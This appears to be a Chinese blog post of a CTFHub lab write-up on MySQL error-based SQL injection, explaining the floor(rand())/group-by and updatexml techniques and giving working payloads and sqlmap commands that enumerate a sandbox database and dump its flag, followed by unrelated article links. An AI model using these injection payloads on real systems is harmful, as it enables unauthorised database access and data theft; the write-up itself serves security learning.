payload

 

1 Union select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.columns group by x; 

payload拆分讲解

 1 count():count()函数返回匹配指定条件的行数。count(*)函数返回表中的记录数 
2 floor():floor:函数是用来向下取整呢个的,相当于去掉小数部分 
3 rand():rand()是随机取(0,1)中的一个数,但是给它一个参数后0,即rand(0),并且传如floor()后,即:floor(rand(0)*2)它就不再是随机了,序列0110110 
4 concat():用于连接两个字符串 
5 group by x:x就是相当于 as x,设一个别名 
6 0x26:16进制数值,ASCII为“&”,在回显中起到分隔作用

产生原因


MySQL报错注入通过构造payload让信息通过错误提示回显出来,主要应用与查询不回现内容,会打印错误信息;Update、insert等语句,会打印错误的信息。

报错注入实现原因(摘自:https://www.cnblogs.com/Triomphe/p/9489639.html)

报错的原因是因为rand()函数在查询的时候会执行一次,插入的时候还会执行一次.这就是整个语句报错的关键

前面说过floor(rand(0)*2) 前六位是0110110

group by x先建立一个空表,用于分组.然后进行分组查询,第一次rand()执行,查询的结果是0,因为是空表所以插入这条,而插入的时候rand()又执行了一次,所以表中的结果就是

第一次执行完,接着执行rand()的值为1,因为表中存在,所以加1,表中结果成为

到了第三次执行rand()是值为0,因为表中不存在所以要插入新的数据,这次插入rand()再次执行,所以插入的又是1.而表中已经存在1了

此时插入因为重复出现同一个key,就会出现报错 重复出现key.而报错中会说明那个key有问题,我们的key中结合了想要了解的字符串root@localhost

这样就实现了报错注入,拿到了自己想要的数据

这就是整个报错注入的原理了,rand(),floor() group by 函数缺一不可.

具体实验过程如下

查看页面信息

查询数据库名

查询数据表信息

查询字段

查询字段数据信息

一、updatexml函数

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称。
第二个参数:XPath_string (Xpath格式的字符串) 。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值。
由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
同样的,还可以利用floor()、extractvalue()等函数进行报错注入

求数据库名:输入1 union select updatexml(1,concat(0x7e,database(),0x7e),1);,页面报错:

求表名:输入1 union select updatexml(1,concat(0x7e,
(select(group_concat(table_name))from information_schema.tables where
table_schema=“sqli”) ,0x7e),1);
,页面回显错误:

求列名:输入1 union select updatexml(1,concat(0x7e,
(select(group_concat(column_name))from information_schema.columns where
table_name=“flag”) ,0x7e),1);查找flag表里的列名,页面回显:

求字段值:输入1 union select updatexml(1,concat(0x7e, (select(group_concat(flag)) from sqli.flag) ,0x7e),1);,得到:
ctfhub{9cfda82fce31eec39ee79d7c

发现只爆出了一部分flag,应该是回显长度受限,于是用到right函数,输入 1 union select
updatexml(1,concat(0x7e, right((select(group_concat(flag)) from
sqli.flag) ,31),0x7e),1); 得到另一部分flag:
31eec39ee79d7c78a8215374d2caaa}

完整flag为ctfhub{9cfda82fce31eec39ee79d7c78a8215374d2caaa}

也可使用extractvalue()函数

sqlmap方法

sqlmap.py -u http://challenge-9ed53c7157397b23.sandbox.ctfhub.com:10080/?id=1 --dbs

sqlmap.py -u http://challenge-9ed53c7157397b23.sandbox.ctfhub.com:10080/?id=1 --D -sqli --tables

sqlmap.py -u http://challenge-9ed53c7157397b23.sandbox.ctfhub.com:10080/?id=1 --D sqli -T  flag --columns --dump

ctfhub 报错注入的更多相关文章

  1. ctfhub技能树—sql注入—报错注入

    打开靶机 payload 1 Union select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.c ...

  2. Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]

    在这一关卡我学到了 1.万能密码的构造,大概的去揣测正常的SQL语句是如何的. 2. 3. 00x1 SQL万能密码的构造 在登录框当中可以添加了一个单引号.报错信息如下所示: 据此报错,我们大概的可 ...

  3. 又一种Mysql报错注入

    from:https://rdot.org/forum/showthread.php?t=3167 原文是俄文,所以只能大概的翻译一下 这个报错注入主要基于Mysql的数据类型溢出(不适用于老版本的M ...

  4. Mysql报错注入原理分析(count()、rand()、group by)

    Mysql报错注入原理分析(count().rand().group by) 0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截 ...

  5. cmseasy CmsEasy_5.6_20151009 无限制报错注入(parse_str()的坑)

    来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0137013.html parse_str()引发的注入, //parse_str()的作用是 ...

  6. sql报错注入:extractvalue、updatexml报错原理

    报错注入:extractvalue.updatexml报错原理 MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数:extractvalue.updatexml 名称 描述 Ext ...

  7. sqli注入--利用information_schema配合双查询报错注入

    目录 sqli-labs 5.6双查询报错注入通关 0x01 获取目标库名 0x02 获取库中表的数量 0x03 获取库中表名 0x04 获取目标表中的列数 0x05 获取目标表的列名 0x06 从列 ...

  8. sql注入--双查询报错注入原理探索

    目录 双查询报错注入原理探索 part 1 场景复现 part 2 形成原因 part 3 报错原理 part 4 探索小结 双查询报错注入原理探索 上一篇讲了双查询报错查询注入,后又参考了一些博客, ...

  9. sql注入--双查询报错注入

    sql注入--双查询报错注入 背景:在sqli-labs第五关时,即使sql语句构造成功页面也没有回显出我们需要的信息,看到了有使用双查询操作造成报错的方式获得数据库信息,于是研究了一下双查询的报错原 ...

随机推荐

  1. vue 三元表达式当出现elif

    方式一: <span class="person_name">{{item.type_name == '车商' ? item.title : item.type_nam ...

  2. webpack系列之loader的基本使用

    可以访问 这里 查看更多关于大数据平台建设的原创文章. webpack系列之loader及简单的使用 一. loader有什么用 webpack本身只能打包Javascript文件,对于其他资源例如  ...

  3. DDD与Repository

    Repository已经不是什么新鲜概念了.DDD模型自2004年提出,发展至今已经16年了.但是不少企业却无法实施,其原因也很简单:DDD是基于需求的,而很多并不理解需求:DDD是容易实现的,而很多 ...

  4. PAT 2-13. 两个有序序列的中位数(25)

    题目链接:http://www.patest.cn/contests/ds/2-13 解题思路及代码如下: /* 解题思路: 分别求出序列A 和B 的中位数,设为a 和b,求序列A 和B 的中位数过程 ...

  5. java自动拆装箱

    介绍 Java 5增加了自动装箱与自动拆箱机制,方便基本类型与包装类型的相互转换操作.(关于基本类型与包装类型之前有记录过https://www.cnblogs.com/xiuzhublog/p/12 ...

  6. oracle 分页的两种方式

    实例:查询5-8名学生的姓名与成绩 --oracle的分页1 between 方式(分三次查询,第一次只作排序,第二次给表加上rownum序列,第三次为查询结果) select s.scorenumb ...

  7. 鼠标移上显示的下拉菜单,和鼠标移上时显示的导航,html,JavaScript代码

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  8. 封装Vue Element的upload上传组件

    本来昨天就想分享封装的这个upload组件,结果刚写了两句话,就被边上的同事给偷窥上了,于是在我全神贯注地写分享的时候他就神不知鬼不觉地突然移动到我身边,腆着脸问我在干啥呢.卧槽你妈,当场就把我吓了一 ...

  9. 树链剖分详解&题解 P6098 【[USACO19FEB]Cow Land G】

    看到各位大佬们已经把其他的东西讲的很明白了,我这个 juruo 就讲一讲最基本的树链剖分吧. 0.树剖是什么?能吃吗? 不能吃 树剖是树链剖分的简称,我们一般说的树剖其实指重链剖分.当然,还有一种长链 ...

  10. oracle读取ip_num用uint32_t接收,出错及解决

    start_ip_num = rset->getNumber(1); end_ip_num = rset->getNumber(2);2988 info_log("GetIpLi ...